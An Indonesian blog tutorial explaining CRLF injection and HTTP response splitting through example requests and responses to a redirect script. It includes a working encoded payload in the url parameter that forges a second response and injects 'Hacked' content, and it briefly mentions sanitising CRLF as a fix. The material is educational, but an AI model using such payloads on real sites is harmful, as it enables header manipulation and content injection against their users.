Selasa, 30 Juni 2020

Http Header Injection Menggunakan Sistem Crlf Injection

CRLF Injection merupakan sebuah celah kemanan dari sebuah aplikasi web atau website yang terjadi disaat proses parsing data. Apa itu CRLF Injection? CR (Carriage Return) dan LF (Line Feed) adalah kombinasi karakter yang menandakan akhir dari sebuah baris. Sebagai contoh disaat ada menulis pada sebuah text editor seperti notepad, atom dll kemudian menekan enter untuk memulai baris baru, maka sebenarnya pada akhir baris dari tulisan tersebut akan terselip kode CRLF secara otomatis yang degenerate oleh aplikasi text editor tersebut namun tidak nampak. Pada tabel kode ASCII, CR dikonversi dengan nilai 13 untuk bentuk decimal dan dengan nilai D atau 0D untuk bentuk Hexadesimal. Untuk LF dikonversi dengan nilai 10 untuk bentuk decimal dan dengan nilai A atau 0A untuk bentuk Hexadesimal. HTTP Header HTTP header merupakah sebuah kode request kepada server dan informasi yang dikembalikan oleh server kepada klien. Sebagai contoh disaat kita melakukan browsing menggunakan sebuah browser, maka browser secara otomatis mengenerate request kita tersebut menjadi kode yang dimengerti oleh server dan membaca data yang diterima dari server yang kemudian di tampilkan kepada kita dalam bentuk yang kita mengerti. Contoh: Kita asumsikan bahwa kita akan mengakses sebuah web www.example.com dengan menggunakan browser Mozilla, maka disaat kita ingin mengakses alamat www.example.com tersebut browser akan secara otomati mengenerate dan mengirimkan kode dalam bentuk seperti dibawah: Kode ini disebut request: Host: www.example.com[CRLF] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF]e Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5[CRLF] Accept-Encoding: gzip, deflate[CRLF] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF] Connection: keep-alive[CRLF][CRLF] Setelah browser mengirimkan kode seperti diatas maka server akan merespon permintaan tersebut dan mengirimkan hasil seperti kode dibawah: Kode ini disebut dengan Response. Date: Wed, 24 Aug 2011 17:48:46 GMT[CRLF] Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF] X-Powered-By: PHP/5.0.2[CRLF] Keep-Alive: timeout=15, max=100[CRLF] Connection: Keep-Alive[CRLF] Transfer-Encoding: chunked[CRLF] Content-Type: text/html[CRLF][CRLF] Welcome to Example.com Welcome to Example.com Namun kita tidak akan melihat tampilan seperti kode diatas pada browser kita, melainkan hanya akan melihat bentuk tampilan yang rapi yakni konten dari web yang direquest tadi. Kira-kira kita akan melihat tampilan seperti gambar dibawah ini pada browser kita: Sampai disini saya harap anda mengerti bagaimana sebuah proses Request dan Response pada HTTP Header. Redirection / Pengarahan ke Alamat Lain Pada saat browsing ke sebuah alamat web anda mungkin pernah menemukan sebuah halaman yang mengarahkan anda ke halaman web lain dengan tulisan “Redirecting…” atau semacamnya. Hal ini adalah proses switching atau perpindahan alamt web kepada sebuah alamat baru, hal itu disebut dengan Redirection. Misal kita akan mengakses alamat www.example.com seperti sebelumnya, namun kali ini situs www.example.com akan mengarahkan kita atau akan redirect ke situs www.google.com Contohnya seperti pada gambar dibawah: Pada contoh halaman diatas anda sedang mengakses alamat www.example.com namun setelah anda membukanya anda menemukan tulisan “Please wait a few seconds while redirect you to the main page” dimana dalam beberapa detik anda akan dirahkan ke halaman www.google.com. Maka bentuk Response kode yang dikembalikan oleh server adalah seperti dibawah ini: Kode Response dari server: Welcome to Example.com CONTENT='5; URL=http://www.example.com/redir.php?url=http://www.google.com'> Welcome to Example.com Please wait a few seconds while we redirect you to the main page Anda bisa memperhatikan arahan response yang diberikan oleh server pada bab tag dimana disana disematkan alamat gres oleh server untuk tujuan redirection nya. Selanjutnya request dari klien akan menerima aba-aba lengkap redirect dari server yang mengumumkan bahwa halamn pindah dengan aba-aba 302 (Temporary Moved). Kode lengkapnya seperti dibawah ini: GET /redir.php?url=http://www.google.com HTTP/1.1[CRLF] Host: www.example.com[CRLF] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8[CRLF] Accept-Language: en-us,en;q=0.5[CRLF] Accept-Encoding: gzip, deflate[CRLF] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF] Connection: keep-alive[CRLF][CRLF] HTTP/1.1 302 Found[CRLF] Date: Tue, 23 Aug 2011 17:52:17 GMT[CRLF] Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF] X-Powered-By: PHP/5.0.2[CRLF] Location: http://www.google.com[CRLF] (User-input in Location) Keep-Alive: timeout=15, max=99[CRLF] Connection: Keep-Alive[CRLF] Transfer-Encoding: chunked[CRLF] Content-Type: text/html[CRLF] GET / HTTP/1.1[CRLF] Host: www.google.com[CRLF] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8[CRLF] Accept-Language: en-us,en;q=0.5[CRLF] Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive[CRLF][CRLF] Penjelasan isyarat diatas pertama-tama browser akan mengantarrequest pada script redir.php, dimana script ini akan menolong me redirect dengan parameter url http://www.google.com. Server menyikapi dengan aba-aba 302 yang membuktikan halaman pindah lokasi dan menyematkan url pada lokasi response header. Dengan demikian, disaat browser kita membaca respon dari server dengan instruksi 302 beserta url gres yang disematkan untuk alamat redirectnya ialah www.google.com lalu browser kita kembali mengantarkan kode GET terhadap url www.google.com. Kemudian situs google akan membalas dengan kode HTTP 200 OK yang artinya tersedia dan diijinkan beserta dengan konten dari alamat url google tersebut, yaitu halaman utama dari web google. Manipulasi Header dengan CRLF Injection Dari teladan diatas sudah sungguh terang bahwa kita mampu memanipulasi isyarat header sebelum mengantarrequest kembali terhadap server. Mari kita lihat pola melakukan injeksi HTTP Header dengan menyelipkan aksara CRLF. Kita akan melakukan request pada situs yang meredirect kita mirip pola diasat tadi. Contoh arahan request yang telah dimanipulasi: Perhatikan pada kode %0d%0a . Ingat ini ialah isyarat CRLF dalam bentuk Hexadesimal. GET /redir.php?url=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Ccenter%3E%3Ch1%3EHacked%3C/h1%3E%3C/center%3E HTTP/1.1[CRLF] Host: www.example.com[CRLF] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8[CRLF] Accept-Language: en-us,en;q=0.5[CRLF] Accept-Encoding: gzip, deflate[CRLF] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF] Connection: keep-alive[CRLF][CRLF] Setelah merngirim kore Request diatas maka server akan me tanggapandengan serpihan arahan dibawah ini: HTTP/1.1 302 Found[CRLF] Date: Tue, 23 Aug 2011 18:49:08 GMT[CRLF] Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF] X-Powered-By: PHP/5.0.2[CRLF] Location:[CRLF] Content-Type: text/html[CRLF][CRLF] HTTP/1.1 200 OK [CRLF] (New Response Header Created Using CRLF Injection, Response Splitting) Content-Type: text/html[CRLF][CRLF] Hacked [CRLF] Keep-Alive: timeout=15, max=100[CRLF] Connection: Keep-Alive[CRLF] Transfer-Encoding: chunked[CRLF] Content-Type: text/html[CRLF][CRLF] 0 Bisa diamati bahwa kita sudah melakukan injeksi pada HTTP Header dengan menyelipkan Kata Hacked. Sehingga server akan menyikapi dengan mengembalikan content dari web yang telah kita manipulasi. Maka pada browser kita akan menyaksikan content dari web yang telah kita lakukan HTTP header Injection tersebut akan memberikan performa content seperti dibawah ini: Sampai disini telah mampu dilihat dengan terang bahwa kita bias melakukan manipulasi pada HTTP Header Request untuk melaksanakan injeksi menggunaan CRLF. Sebagai Catatan Ada beberapa situs yang pernah menjadi korban kerentanan ini seperti Google, MSN, Amazon dan berbagai situs web terkemuka yang lain. Sebuah solusi sederhana untuk menanggulangi CRLF Injection yakni membersihkan karakter CRLF sebelum melewati header atau untuk mengkodekan data yang akan menghalangi urutan CRLF memasuki header. Sekian penjelasan bagaimana proses CRLF Injection pada HTTP Header melakukan pekerjaan . Semoga goresan pena ini berfaedah. Jangan lupa klik like dan share kalau anda merasa goresan pena ini berguna. Terima Kasih.
Sumber https://aryhm76.blogspot.com


EmoticonEmoticon